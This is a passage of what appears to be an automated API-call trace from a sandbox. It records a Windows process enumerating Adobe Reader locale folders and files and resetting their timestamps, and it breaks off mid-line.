1 [0082.778] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830b2fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.UKR", cAlternateFileName="")) returned 1 [0082.778] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830b2fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.UKR", cAlternateFileName="")) returned 1 [0082.778] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MakeAccessible.UKR", cAlternateFileName="")) returned 1 [0082.778] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.UKR", cAlternateFileName="")) returned 1 [0082.778] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDDom.UKR", cAlternateFileName="")) returned 1 [0082.778] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830b2fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.UKR", cAlternateFileName="")) returned 1 [0082.778] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807571a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14d800, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.UKR", cAlternateFileName="")) returned 1 [0082.778] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.UKR", cAlternateFileName="")) returned 1 [0082.778] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reflow.UKR", cAlternateFileName="")) returned 1 [0082.778] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.UKR", cAlternateFileName="")) returned 1 [0082.779] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830b2fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.UKR", cAlternateFileName="")) returned 1 [0082.779] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830d9140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.UKR", cAlternateFileName="")) returned 1 [0082.779] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129db10 [0082.779] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\services"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.780] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0082.780] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0082.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0082.780] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0082.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0082.781] NtClose (Handle=0x16c) returned 0x0 [0082.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x129db10) returned 1 [0082.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129db10 [0082.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129dc18 [0082.782] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9100 [0082.782] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.782] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbab1, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129dd20 [0082.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214560 [0082.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129de28 [0082.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.784] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214580 [0082.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129df30 [0082.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.785] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.786] GetLastError () returned 0x12 [0082.786] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0082.786] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0082.786] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.786] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbab1, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.786] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.786] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.786] GetLastError () returned 0x12 [0082.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x129dc18) returned 1 [0082.786] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0082.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x129dd20) returned 1 [0082.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x129db10) returned 1 [0082.787] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.UKR", cAlternateFileName="")) returned 1 [0082.787] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f50a880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updater.UKR", cAlternateFileName="")) returned 1 [0082.787] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830d9140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.UKR", cAlternateFileName="")) returned 1 [0082.787] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830d9140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.UKR", cAlternateFileName="")) returned 0 [0082.787] GetLastError () returned 0x12 [0082.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.787] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0082.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0082.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.787] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0082.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.788] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.788] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0082.789] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0082.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0082.789] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0082.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0082.789] NtClose (Handle=0x174) returned 0x0 [0082.790] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.790] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0082.792] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.792] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.CHS", cAlternateFileName="")) returned 1 [0082.792] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.792] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.792] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.792] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.793] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.793] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0082.793] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.793] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12145a0 [0082.793] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129db10 [0082.794] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.794] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3cc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.CHS", cAlternateFileName="")) returned 1 [0082.794] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.795] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.795] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.795] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.795] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.795] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12145c0 [0082.795] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129dd20 [0082.795] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7240) returned 0x12c9480 [0082.796] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12c2278) returned 1 [0082.797] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.797] FindNextFileW (in: hFindFile=0x2e8f80, 